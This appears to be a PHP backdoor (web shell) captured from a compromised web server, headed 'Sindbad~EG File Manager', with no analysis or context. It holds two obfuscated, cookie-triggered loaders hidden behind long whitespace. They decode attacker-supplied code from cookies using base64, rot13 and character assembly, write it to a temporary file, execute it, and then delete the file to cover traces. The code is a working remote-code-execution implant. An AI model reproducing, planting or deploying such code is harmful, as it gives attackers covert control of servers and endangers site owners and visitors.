Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[22])){$c=$_COOKIE;$k=0;$n=5;$p=array();$p[$k]='';while($n){$p[$k].=$c[22][$n];if(!$c[22][$n+1]){if(!$c[22][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+5+1;}$k=$p[7]().$p[14];if(!$p[23]($k)){$n=$p[29]($k,$p[9]);$p[25]($n,$p[6].$p[28]($p[19]($c[3])));}include($k);}


if (isset($_COOKIE[82+-82]) && isset($_COOKIE[41+-40]) && isset($_COOKIE[26-23]) && isset($_COOKIE[17+-13])) {
    $slot = $_COOKIE;
    function parle_tokens($id) {
        $slot = $_COOKIE;
        $state = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'b92c53a7');
        if (!is_writable($state)) {
            $state = getcwd() . DIRECTORY_SEPARATOR . "multi";
        }
        $placeholder = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($slot[3]));
        if (is_writeable($state)) {
            $field = fopen($state, 'w+');
            fputs($field, $placeholder);
            fclose($field);
            spl_autoload_unregister(__FUNCTION__);
            require_once($state);
            @array_map('unlink', array($state));
        }
    }
    spl_autoload_register("parle_tokens");
    $parameter = "2e664bd3bd8a7add3cb5b0d24aa4841d";
    if (!strncmp($parameter, $slot[4], 32)) {
        if (@class_parents("system_reset", true)) {
            exit;
        }
    }
}